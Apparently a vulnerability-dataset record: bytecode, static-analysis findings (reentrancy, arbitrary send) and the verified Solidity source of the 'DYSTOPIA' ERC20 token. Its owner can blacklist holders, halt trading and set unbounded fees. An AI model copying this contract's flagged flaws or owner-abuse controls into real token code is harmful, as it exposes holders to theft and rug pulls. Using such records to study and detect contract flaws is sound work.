ffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242281612620565b61242c84836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a6565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252d8a600854600954612717565b925092509250600061253d612212565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d191906131dc565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90612f86565b60405180910390fd5b8091505092915050565b600061262a612212565b90506000612641828461212090919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276d606461275f888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961212090919063ffffffff16565b905060006127dd868961212090919063ffffffff16565b905060006127f4878961212090919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128496128448461315b565b613136565b9050808382526020820190508285602086028201111561286857600080fd5b60005b85811015612898578161287e88826128a2565b84526020840193506020830192505060018101905061286b565b5050509392505050565b6000813590506128b181613799565b92915050565b6000815190506128c681613799565b92915050565b600082601f8301126128dd57600080fd5b81356128ed848260208601612836565b91505092915050565b600081359050612905816137b0565b92915050565b60008151905061291a816137b0565b92915050565b60008135905061292f816137c7565b92915050565b600081519050612944816137c7565b92915050565b60006020828403121561295c57600080fd5b600061296a848285016128a2565b91505092915050565b60006020828403121561298557600080fd5b6000612993848285016128b7565b91505092915050565b600080604083850312156129af57600080fd5b60006129bd858286016128a2565b92505060206129ce858286016128a2565b9150509250929050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016128a2565b9350506020612a0c868287016128a2565b9250506040612a1d86828701612920565b9150509250925092565b60008060408385031215612a3a57600080fd5b6000612a48858286016128a2565b9250506020612a5985828601612920565b9150509250929050565b600060208284031215612a7557600080fd5b600082013567ffffffffffffffff811115612a8f57600080fd5b612a9b848285016128cc565b91505092915050565b600060208284031215612ab657600080fd5b6000612ac4848285016128f6565b91505092915050565b600060208284031215612adf57600080fd5b6000612aed8482850161290b565b91505092915050565b600060208284031215612b0857600080fd5b6000612b1684828501612920565b91505092915050565b600080600060608486031215612b3457600080fd5b6000612b4286828701612935565b9350506020612b5386828701612935565b9250506040612b6486828701612935565b9150509250925092565b6000612b7a8383612b86565b60208301905092915050565b612b8f816132f1565b82525050565b612b9e816132f1565b82525050565b6000612baf82613197565b612bb981856131ba565b9350612bc483613187565b8060005b83811015612bf5578151612bdc8882612b6e565b9750612be7836131ad565b925050600181019050612bc8565b5085935050505092915050565b612c0b81613303565b82525050565b612c1a81613346565b82525050565b6000612c2b826131a2565b612c3581856131cb565b9350612c45818560208601613358565b612c4e81613492565b840191505092915050565b6000612c666023836131cb565b9150612c71826134a3565b604082019050919050565b6000612c89602a836131cb565b9150612c94826134f2565b604082019050919050565b6000612cac6022836131cb565b9150612cb782613541565b604082019050919050565b6000612ccf601b836131cb565b9150612cda82613590565b602082019050919050565b6000612cf2601d836131cb565b9150612cfd826135b9565b602082019050919050565b6000612d156021836131cb565b9150612d20826135e2565b604082019050919050565b6000612d386020836131cb565b9150612d4382613631565b602082019050919050565b6000612d5b6029836131cb565b9150612d668261365a565b604082019050919050565b6000612d7e6025836131cb565b9150612d89826136a9565b604082019050919050565b6000612da16024836131cb565b9150612dac826136f8565b604082019050919050565b6000612dc46017836131cb565b9150612dcf82613747565b602082019050919050565b6000612de76011836131cb565b9150612df282613770565b602082019050919050565b612e068161332f565b82525050565b612e1581613339565b82525050565b6000602082019050612e306000830184612b95565b92915050565b6000604082019050612e4b6000830185612b95565b612e586020830184612b95565b9392505050565b6000604082019050612e746000830185612b95565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b95565b612eaa6020830188612dfd565b612eb76040830187612c11565b612ec46060830186612c11565b612ed16080830185612b95565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612c02565b92915050565b60006020820190508181036000830152612f1e8184612c20565b905092915050565b60006020820190508181036000830152612f3f81612c59565b9050919050565b60006020820190508181036000830152612f5f81612c7c565b9050919050565b60006020820190508181036000830152612f7f81612c9f565b9050919050565b60006020820190508181036000830152612f9f81612cc2565b9050919050565b60006020820190508181036000830152612fbf81612ce5565b9050919050565b60006020820190508181036000830152612fdf81612d08565b9050919050565b60006020820190508181036000830152612fff81612d2b565b9050919050565b6000602082019050818103600083015261301f81612d4e565b9050919050565b6000602082019050818103600083015261303f81612d71565b9050919050565b6000602082019050818103600083015261305f81612d94565b9050919050565b6000602082019050818103600083015261307f81612db7565b9050919050565b6000602082019050818103600083015261309f81612dda565b9050919050565b60006020820190506130bb6000830184612dfd565b92915050565b600060a0820190506130d66000830188612dfd565b6130e36020830187612c11565b81810360408301526130f58186612ba4565b90506131046060830185612b95565b6131116080830184612dfd565b9695505050505050565b60006020820190506131306000830184612e0c565b92915050565b6000613140613151565b905061314c828261338b565b919050565b6000604051905090565b600067ffffffffffffffff82111561317657613175613463565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e78261332f565b91506131f28361332f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322757613226613405565b5b828201905092915050565b600061323d8261332f565b91506132488361332f565b92508261325857613257613434565b5b828204905092915050565b600061326e8261332f565b91506132798361332f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b2576132b1613405565b5b828202905092915050565b60006132c88261332f565b91506132d38361332f565b9250828210156132e6576132e5613405565b5b828203905092915050565b60006132fc8261330f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133518261332f565b9050919050565b60005b8381101561337657808201518184015260208101905061335b565b83811115613385576000848401525b50505050565b61339482613492565b810181811067ffffffffffffffff821117156133b3576133b2613463565b5b80604052505050565b60006133c78261332f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fa576133f9613405565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a2816132f1565b81146137ad57600080fd5b50565b6137b981613303565b81146137c457600080fd5b50565b6137d08161332f565b81146137db57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220322bed6f511784106f8ca63e3435f033d2c084fbd2035486c6866c680710264b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,181 |
0x0ea244f0e282608d817dcebbbba127c8c46f7c7b
|
/**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
/**
https://t.me/dystopiaofficial
,-,--. ,--.--------. _,.---._ _ __ .=-.-. ,---. ,--.--------. _,.---._ ,--.-.,-. ,----. .-._
_,..---._ ,--.-. .-,--.,-.'- _\/==/, - , -\,-.' , - `. .-`.' ,`. /==/_ /.--.' \ /==/, - , -\,-.' , - `. /==/- |\ \ ,-.--` , \/==/ \ .-._
/==/, - \/==/- / /=/_ //==/_ ,_.'\==\.-. - ,-./==/_, , - \ /==/, - \==|, | \==\-/\ \ \==\.-. - ,-./==/_, , - \|==|_ `/_ / |==|- _.-`|==|, \/ /, /
|==| _ _\==\, \/=/. / \==\ \ `--`\==\- \ |==| .=. |==| _ .=. |==| | /==/-|_\ | `--`\==\- \ |==| .=. |==| , / |==| `.-.|==|- \| |
|==| .=. |\==\ \/ -/ \==\ -\ \==\_ \|==|_ : ;=: - |==| , '=',|==|- | \==\, - \ \==\_ \|==|_ : ;=: - |==|- .| /==/_ , /|==| , | -|
|==|,| | -| |==| ,_/ _\==\ ,\ |==|- ||==| , '=' |==|- '..'|==| ,| /==/ - ,| |==|- ||==| , '=' |==| _ , \ |==| .-' |==| - _ |
|==| '=' / \==\-, / /==/\/ _ | |==|, | \==\ - ,_ /|==|, | |==|- |/==/- /\ - \ |==|, | \==\ - ,_ //==/ '\ ||==|_ ,`-._|==| /\ , |
|==|-, _`/ /==/._/ \==\ - , / /==/ -/ '.='. - .' /==/ - | /==/. /\==\ _.\=\.-' /==/ -/ '.='. - .' \==\ /\=\.'/==/ , //==/, | |- |
`-.`.____.' `--`-` `--`---' `--`--` `--`--'' `--`---' `--`-` `--` `--`--` `--`--'' `--` `--`-----`` `--`./ `--`
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DYSTOPIA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DYSTOPIA TOKEN";
string private constant _symbol = "DYSTOPIA";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x18A065f386377056aE6CB0Ffafa3a4C924aF82DB);
address payable private _marketingAddress = payable(0x18A065f386377056aE6CB0Ffafa3a4C924aF82DB);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055d578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b8063a2a957bb146104d8578063a9059cbb146104f8578063bfd7928414610518578063c3c8cd801461054857600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b857600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027757806318160ddd146102af57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611967565b610603565b005b34801561020a57600080fd5b5060408051808201909152600e81526d222ca9aa27a824a0902a27a5a2a760911b60208201525b60405161023e9190611a2c565b60405180910390f35b34801561025357600080fd5b50610267610262366004611a81565b6106a2565b604051901515815260200161023e565b34801561028357600080fd5b50601454610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50670de0b6b3a76400005b60405190815260200161023e565b3480156102e057600080fd5b506102676102ef366004611aad565b6106b9565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b506040516009815260200161023e565b34801561033257600080fd5b50601554610297906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611aee565b610722565b34801561037257600080fd5b506101fc610381366004611b1b565b61076d565b34801561039257600080fd5b506101fc6107b5565b3480156103a757600080fd5b506102c66103b6366004611aee565b610800565b3480156103c757600080fd5b506101fc610822565b3480156103dc57600080fd5b506101fc6103eb366004611b36565b610896565b3480156103fc57600080fd5b506102c660165481565b34801561041257600080fd5b506102c6610421366004611aee565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610297565b34801561045d57600080fd5b506101fc61046c366004611b1b565b6108c5565b34801561047d57600080fd5b506102c660175481565b34801561049357600080fd5b50604080518082019091526008815267445953544f50494160c01b6020820152610231565b3480156104c457600080fd5b506101fc6104d3366004611b36565b61090d565b3480156104e457600080fd5b506101fc6104f3366004611b4f565b61093c565b34801561050457600080fd5b50610267610513366004611a81565b61097a565b34801561052457600080fd5b50610267610533366004611aee565b60106020526000908152604090205460ff1681565b34801561055457600080fd5b506101fc610987565b34801561056957600080fd5b506101fc610578366004611b81565b6109db565b34801561058957600080fd5b506102c6610598366004611c05565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611b36565b610a7c565b3480156105ef57600080fd5b506101fc6105fe366004611aee565b610aab565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611c3e565b60405180910390fd5b60005b815181101561069e5760016010600084848151811061065a5761065a611c73565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611c9f565b915050610639565b5050565b60006106af338484610b95565b5060015b92915050565b60006106c6848484610cb9565b610718843361071385604051806060016040528060288152602001611db9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f5565b610b95565b5060019392505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161062d90611c3e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161062d90611c3e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ea57506013546001600160a01b0316336001600160a01b0316145b6107f357600080fd5b476107fd8161122f565b50565b6001600160a01b0381166000908152600260205260408120546106b390611269565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161062d90611c3e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161062d90611c3e565b601655565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161062d90611c3e565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109375760405162461bcd60e51b815260040161062d90611c3e565b601855565b6000546001600160a01b031633146109665760405162461bcd60e51b815260040161062d90611c3e565b600893909355600a91909155600955600b55565b60006106af338484610cb9565b6012546001600160a01b0316336001600160a01b031614806109bc57506013546001600160a01b0316336001600160a01b0316145b6109c557600080fd5b60006109d030610800565b90506107fd816112ed565b6000546001600160a01b03163314610a055760405162461bcd60e51b815260040161062d90611c3e565b60005b82811015610a76578160056000868685818110610a2757610a27611c73565b9050602002016020810190610a3c9190611aee565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6e81611c9f565b915050610a08565b50505050565b6000546001600160a01b03163314610aa65760405162461bcd60e51b815260040161062d90611c3e565b601755565b6000546001600160a01b03163314610ad55760405162461bcd60e51b815260040161062d90611c3e565b6001600160a01b038116610b3a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610d7f5760405162461bcd60e51b81526020600482015